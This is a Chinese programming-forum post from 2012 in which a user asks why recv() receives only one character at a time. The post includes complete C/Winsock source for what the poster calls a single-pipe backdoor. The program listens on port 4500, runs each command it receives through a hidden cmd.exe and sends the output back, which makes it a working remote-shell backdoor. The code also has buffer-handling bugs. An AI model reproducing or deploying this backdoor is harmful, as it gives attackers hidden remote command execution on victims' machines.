鱼C论坛

 找回密码
 立即注册
查看: 2498|回复: 0

关于recv()的问题 求教

[复制链接]
发表于 2012-4-13 20:46:30 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
   请问什么时候recv() 会只接受一个字符就结束??
   下面有个程序,


  1. #include "stdafx.h"
  2. #include <IOSTREAM.H>
  3. #include <stdio.h>
  4. #include <winsock2.h>
  5. #pragma comment(lib, "ws2_32.lib")

  6. int main(int argc, char* argv[])
  7. {
  8. char wMessage[512] = "\r\n======================== Door ========================\r\n";
  9. //初始化socket,并监听端口
  10. SOCKET sClient;
  11. BYTE minorVer = 2;
  12. BYTE majorVer = 2;
  13. WSADATA wsaData;
  14. WORD sockVersion = MAKEWORD(minorVer, majorVer);
  15. if(WSAStartup(sockVersion, &wsaData) != 0)
  16. return 0;
  17. SOCKET sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  18. if(sListen == INVALID_SOCKET)
  19. {
  20. printf("socket error \n");
  21. return 0;
  22. }
  23. sockaddr_in sin;
  24. sin.sin_family = AF_INET;
  25. sin.sin_port = htons(4500);
  26. sin.sin_addr.S_un.S_addr = INADDR_ANY;
  27. if(bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
  28. {
  29. printf("bind error \n");
  30. return 0;
  31. }
  32. if(listen(sListen, 5) == SOCKET_ERROR)
  33. {
  34. printf("listen error \n");
  35. return 0;
  36. }
  37. //接收连接
  38. sClient =accept(sListen,NULL,NULL);
  39. //发送欢迎信息
  40. send(sClient,wMessage,strlen(wMessage),0);
  41. char rBuffer[1024] = {0};
  42. char cmdline[256]={0};
  43. //循环,用于接受命令,创建进程执行,并从管道中读出执行结果返回给远程主机
  44. while(true)
  45. {
  46. //cmdline清零
  47. memset(cmdline,0,256);
  48. SECURITY_ATTRIBUTES sa;
  49. HANDLE hRead,hWrite;
  50. sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  51. sa.lpSecurityDescriptor = NULL;
  52. sa.bInheritHandle = TRUE;
  53. if (!CreatePipe(&hRead,&hWrite,&sa,0))
  54. {
  55. printf("CreatePipe Error");
  56. return 0;
  57. }
  58. STARTUPINFO si;
  59. PROCESS_INFORMATION pi;
  60. si.cb = sizeof(STARTUPINFO);
  61. GetStartupInfo(&si);
  62. //使cmd和管道关联,注意这里和双管道相比少了si.hStdInput = hReadPipe;因为输入由带命令执行代替
  63. si.hStdError = hWrite;
  64. si.hStdOutput = hWrite;
  65. si.wShowWindow = SW_HIDE;
  66. si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  67. //得到系统目录
  68. GetSystemDirectory(cmdline,sizeof(cmdline));
  69. strcat(cmdline,"\\cmd.exe /c ");
  70. char cmdbuff[256];
  71. memset(cmdbuff,0,256);

  72. //接受远程命令
  73. int rLen=recv(sClient,cmdbuff,256,0);//就是这里,cmdbuff里只会有一个字符就结束了
  74. if(rLen==SOCKET_ERROR)
  75. return 0;
  76. //在cmd后加入命令
  77. strncat(cmdline,cmdbuff,strlen(cmdbuff));
  78. //创建进程执行命令
  79. if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
  80. {
  81. printf("CreateProcess Error");
  82. continue;
  83. }
  84. cout<<cmdline<<endl;

  85. CloseHandle(hWrite);
  86. DWORD dwRead;
  87. //循环,监视管道中的返回信息,也就是执行命令后的返回信息
  88. while(ReadFile(hRead,rBuffer,1024,&dwRead,NULL))
  89. {
  90. //发送执行结果
  91. send(sClient,rBuffer,strlen(rBuffer),0);
  92. memset(rBuffer,0,1024);

  93. }
  94. }
  95. return 0;
  96. }
复制代码
上面是一个关于单管道后门的程序。 但是。recv()每次只接受一个字符就结束了,。。请问这是为什么啊??
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-4-24 19:34

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表